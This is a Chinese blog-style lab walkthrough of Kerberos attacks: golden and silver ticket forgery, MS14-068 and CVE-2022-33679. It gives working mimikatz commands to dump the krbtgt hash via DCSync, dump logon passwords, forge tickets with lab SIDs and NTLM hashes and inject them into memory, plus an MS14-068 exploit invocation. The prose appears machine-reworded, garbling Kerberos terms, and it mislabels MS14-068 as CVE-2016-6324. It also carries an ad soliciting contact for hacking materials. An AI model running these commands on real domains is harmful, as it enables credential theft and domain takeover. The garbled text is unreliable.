前言
最近twitter上关于CVE,应该是CVE-2022-33679比较火了,可是材料也是比较少,下面来唠唠吧。
kerberos认证原理
先了解几个概念
认证服务(Authentication server):简称AS,认证客户端身份供给认证服务。
域控服务器(Domain Control):即DC。
服务收据(Server Ticket):简称ST,在Kerberos认证中,客户端恳求的服务通过ST收据认证。
收据颁发服务(Ticket Granting server):简称TGS,颁布服务收据(server ticket)。
活动目录(Active Directory):简称AD,包括了域中一切的对象(用户,计算机,组等)
KDC密钥颁布中心(KDC):域控担任
特权特点证书(Privilege Attribute Certificate):简称PAC,所包括的是各种授权信息, 例如用户所属的用户组, 用户所具有的权限等。
下图为Kerberos的认证进程:
一个完好的认证流程基本上分为8个进程
1.客户端用户向KDC发送恳求,包括用户名,主机名和时刻戳。AS接纳恳求
2.AS对客户端用户身份认证后给客户端回来收据颁发收据
3.客户端运用TGT到收据分发服务(TGS)恳求拜访服务器A的服务收据(ST)
4.TGS给客户端分发ST
5.客户端运用ST恳求服务器A
6.服务器A解密ST收据得到特权特点证书PAC,服务器A恳求域控AD需承认用户权限
7.域控将PAC解密获取用户SID和用户权限的成果回来给服务器A
8.用户身份符合则进行第最终的回来信息,整个Kerberos认证完毕。
黄金收据
原理:
Kerberos黄金收据是有用的TGT Kerberos收据,是由域Kerberos帐户加密和签名的 。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT暗码散列加密而且能够被域中的任何KDC服务解密的。
相当于跳过上面图片中过的进程一和进程二,直接假造TGT
试验
这里运用星海安全试验室的靶场环境
环境:192.168.10.10 域控DC 域:Starseaseclab.com 操作系统:win-server2012R2
域内主机:192.168.10.14 操作系统:win7
运用条件:
域管SID
域控KRBTGT账号的HASHntlm(hash)
【—-帮助网安学习,材料@~w:yj009991,补白“”获取!】
① 网安学习生长途径思维导图
② 60+网安经典常用工具包
③ 100+SRC剖析报告
④ 150+网安攻防实战技能电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
whoami /all
lsadump::dcsync /domain:starseaseclab.com /user:krbtgt
sid:S-1-5-21-1719736279-3906200060-616816393
htlm(hash):5e31f755b33b621bede0946b044908e4
domian:starseaseclab.com
域内主机win-7
privilege::debugkerberos::purge //清空收据避免缓存影响Kerberos::golden /user:administrator /domain:starseaseclab.com /sid:S-1-5-21-1719736279-3906200060-616816393 /krbtgt:5e31f755b33b621bede0946b044908e4 /ptt //假造金票注入内存
白银收据
原理
黄金收据是假造TGT,在kerberos认证中疏忽前两步,白银收据便是直接假造ST
whoami /all
sid: S-1-5-21-1719736279-3906200060-616816393
sekurlsa::logonpasswords
假造收据
Kerberos::golden /domain:starseaseclab.com /sid:S-1-5-21-1719736279-3906200060-616816393 /target:win-dc.starseaseclab.com /service:cifs /rc4:161cff084477fe596a5db81874498a24 /user:user1 /ptt //假造银票注入内存
运用MS14-068(CVE-2016-6324)
域内用户提升至域控
条件 :
域内用户名以及hash
sid值
域名
域控ip
ms-14-068.exe -u 域用户@域名 -p 域用户暗码 -s 域用户sid -d 域控ip kerberos::ptc "收据" //将收据注入内存
黄金收据和白银收据的区别
拜访权限不同:Golden Ticket:假造TGT,能够获取任何Kerberos服务权限Silver Ticket:假造TGS,只能拜访指定的服务加密方式不同:Golden Ticket由Kerberos的Hash加密Silver Ticket由服务账号(一般为计算机账户)Hash加密认证流程不同:Golden Ticket的运用进程需求拜访域控,Silver Ticket不需求
CVE-2022-33679
进犯的进程分为下面几个进程
-
进犯者发送一个没有预授权的 AS-REQ 恳求 RC4-MD4 密钥加密。如果用户不需求预授权,KDC 将发回一个 AS-REP,其中包括运用 RC4-MD4 加密的会话密钥等。
-
依据加密数据的长度,计算出加密密钥开端前的0x15字节,只要总长度就能够猜到。可能需求发送适当长的主机地址来填充 ASN1 编码数据,以便将密钥对齐到合适的方位。
-
依据计算出的ASN1数据和加密后的KDC-REP生成密钥流的前0x2D字节(密文中前0x18字节全为0)。
-
运用密钥流加密 PA-ENC-TIMESTAMP 预认证缓冲区,如果仅运用 KerberosTime,则大小将刚好为 0x15 字节,即带有初始填充的 0x2D。
-
在新的 AS-REQ 中发送加密的时刻戳以验证密钥流是否正确。
如果将客户端和 KDC 降级为运用 RC4-MD4,进犯者能够让 KDC 运用 RC4-MD4 会话密钥作为初始 TGT,它只要 40 位的熵,而且在相关的票证过期之前完成暴力破解,可为该用户宣布恣意服务票证的 TGS 恳求。
进犯图解
在恳求TGT的第一阶段爆炸第一个字节的图解
获取最终一个字节的进程图解
CVE提交者的POC显示已删去,github上发表的EXP已经没了。
项目下载地址:
https://github.com/GhostPack/Rubeus
需求从头编译一下,Rubeus的V2.1.2实际上也没找到历史发布版别,目前最新版别未V2.2.1
该版别无法运用cve-2022-33679假造TGT。该缝隙就运用方式来说跟黄金收据有点儿相似,通过EXP绕过Kerberos认证协议中的第一和第二进程,直接向TGS恳求ST。
总结
材料仍是有限,没有复现成功,可是就原理来说,结合Kerberos认证原理仍是比较清晰。CVE-2022-33679的运用也是有运用条件,需求设置“不需求 Kerberos 预身份验证”用户帐户控制标志,并配置了 RC4 密钥。所以在运用手法上来讲应该是比较苛刻。(如有错误还请各位指出)